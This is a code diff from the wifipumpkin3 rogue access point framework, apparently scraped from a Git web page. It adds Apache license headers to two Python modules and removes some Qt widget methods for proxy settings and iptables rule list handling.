#from core.widgets.docks.dock import *
|
||||
from wifipumpkin3.core.controls.threads import ProcessThread
|
||||
from wifipumpkin3.core.controllers.wirelessmodecontroller import AccessPointSettings
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
@ -7,6 +6,23 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import LoggerManager
|
||||
from wifipumpkin3.core.utility.component import ComponentBlueprint
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Widget(Qt.QObject):
|
||||
def __init__(self):
|
||||
Qt.QObject.__init__(self)
|
||||
@ -35,7 +51,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
RunningPort = 80
|
||||
config = None
|
||||
|
||||
|
||||
def __init__(self,parent):
|
||||
super(ProxyMode, self).__init__()
|
||||
self.parent = parent
|
||||
@ -128,16 +143,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
def Wireless(self):
|
||||
return AccessPointSettings.instances[0]
|
||||
|
||||
def get_disable_status(self):
|
||||
if self.FSettings.Settings.get_setting('plugins', self.Name, format=bool) == True:
|
||||
if self.Name == "No Proxy":
|
||||
self.ClearRules()
|
||||
self.parent.set_proxy_statusbar('', disabled=True)
|
||||
self.sendSingal_disable.emit(self.controlui.isChecked())
|
||||
return
|
||||
|
||||
self.parent.set_proxy_statusbar(self.Name)
|
||||
|
||||
def onProxyEnabled(self):
|
||||
pass
|
||||
|
||||
@ -148,24 +153,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
def hasSettings(self):
|
||||
return self.ModSettings
|
||||
|
||||
def CheckOptions(self):
|
||||
self.FSettings.Settings.set_setting('plugins', self.Name, self.controlui.isChecked())
|
||||
self.dockwidget.addDock.emit(self.controlui.isChecked())
|
||||
self.get_disable_status()
|
||||
self.ClearRules()
|
||||
self.Initialize()
|
||||
if self.ModSettings:
|
||||
self.btnChangeSettings.setEnabled(self.controlui.isChecked())
|
||||
if self.controlui.isChecked() == True:
|
||||
self.setEnabled(True)
|
||||
self.onProxyEnabled()
|
||||
self.tabinterface.setText("[ {} ]".format(self.Name))
|
||||
|
||||
else:
|
||||
self.onProxyDisabled()
|
||||
self.setEnabled(False)
|
||||
self.tabinterface.setText(self.Name)
|
||||
|
||||
@property
|
||||
def CMD_ARRAY(self):
|
||||
#self._cmd_array.extend(self.parent.currentSessionID)
|
||||
@ -190,18 +177,6 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
''' add rules iptable by type plugins'''
|
||||
return self.search[type]
|
||||
|
||||
def SetRules(self,strrules=""):
|
||||
items = []
|
||||
for index in xrange(self.FSettings.ListRules.count()):
|
||||
items.append(str(self.FSettings.ListRules.item(index).text()))
|
||||
if self.optionsRules(strrules) in items:
|
||||
return
|
||||
if (self.optionsRules(strrules) != None):
|
||||
item = QtGui.QListWidgetItem()
|
||||
item.setText(self.optionsRules(strrules))
|
||||
item.setSizeHint(QtCore.QSize(30, 30))
|
||||
self.FSettings.ListRules.addItem(item)
|
||||
|
||||
def ClearRules(self):
|
||||
for rules in self.search.keys():
|
||||
self.unset_Rules(rules)
|
||||
@ -212,16 +187,7 @@ class ProxyMode(Widget,ComponentBlueprint):
|
||||
|
||||
def Configure(self):
|
||||
self.ConfigWindow.show()
|
||||
|
||||
def unset_Rules(self,iptables):
|
||||
''' remove rules from Listwidget in settings widget'''
|
||||
items = []
|
||||
for index in xrange(self.FSettings.ListRules.count()):
|
||||
items.append(str(self.FSettings.ListRules.item(index).text()))
|
||||
for position,line in enumerate(items):
|
||||
if self.optionsRules(iptables) == line:
|
||||
self.FSettings.ListRules.takeItem(position)
|
||||
|
||||
|
||||
def SaveLog(self):
|
||||
pass
|
||||
|
||||
|
@ -11,6 +11,23 @@ from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.widgets.docks.dock import DockableWidget
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class TCPProxyDock(DockableWidget):
|
||||
id = "TCPProxy"
|
||||
title = "TCPProxy"
|
||||
|
Loading…
Reference in New Issue
Block a user